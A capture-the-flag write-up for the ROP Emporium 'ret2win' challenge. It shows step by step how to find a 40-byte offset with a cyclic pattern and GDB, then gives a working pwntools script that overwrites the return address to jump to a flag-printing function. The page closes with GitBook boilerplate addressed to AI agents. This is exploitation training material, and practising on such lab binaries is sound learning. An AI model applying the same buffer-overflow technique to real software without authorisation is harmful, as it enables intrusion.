> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/challenge/ret2win/chall2.md).

# chall2

new challenge: <https://ropemporium.com/challenge/ret2win.html>

### Solution

We start by extracting the binary and running it to understand its behavior:

```bash
unzip ret2win.zip
chmod +x ret2win
./ret2win
```

The program prints a message saying it will try to fit **56 bytes into a 32-byte buffer**, which directly hints at a buffer overflow vulnerability. It also takes input using `read()`, meaning null bytes are allowed.

***

### Recon – Static Analysis

We disassemble the binary to understand its structure:

```bash
objdump -d ret2win
```

Looking into the `pwnme` function:

```asm
sub $0x20,%rsp      → allocates 32 bytes buffer
...
mov $0x38,%edx      → reads 56 bytes
call read
```

This confirms:

* Buffer size = **32 bytes**
* Input size = **56 bytes**

So we can overflow beyond the buffer and overwrite the return address.

***

### Finding Offset

To precisely control RIP, we use a cyclic pattern:

```bash
python3 -c 'from pwn import *; print(cyclic(100))'
```

We run the program inside GDB and feed the pattern:

```bash
gdb ./ret2win
run < <(python3 -c 'from pwn import *; print(cyclic(100))')
```

After the crash, we inspect registers:

```gdb
info registers
```

We observe values like:

```
$rsp : 0x6161616c6161616b ("kaaalaaa")
```

Now we calculate the exact offset:

```bash
python3 -c 'from pwn import *; print(cyclic_find(b"kaaalaaa"))'
```

This returns:

```
40
```

So the offset to RIP is **40 bytes**.

***

### Finding ret2win Function

Next, we search for useful functions:

```bash
nm ret2win | grep ret2win
```

Output:

```
0000000000400756 T ret2win
```

So the target address is:

```
0x400756
```

Looking at the disassembly:

```asm
ret2win:
    puts("Well done! Here's your flag:")
    system("cat flag.txt")
```

This function directly prints the flag.

***

### Exploitation

Now we craft the payload:

* 40 bytes padding
* overwrite return address with `ret2win`

```python
from pwn import *

payload = b"A"*40 + p64(0x400756)

p = process("./ret2win")
p.sendline(payload)
p.interactive()
```

***

### Execution Flow

When the payload is sent:

* Buffer is overflowed
* Return address is overwritten
* Execution jumps to `ret2win()`
* Flag is printed

After execution, the program crashes with `SIGSEGV` because the stack is corrupted, which is expected.

### Summary

A stack-based buffer overflow in `pwnme()` allowed control over RIP. By calculating the correct offset using a cyclic pattern and identifying the `ret2win()` function, execution was redirected to print the flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/challenge/ret2win/chall2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.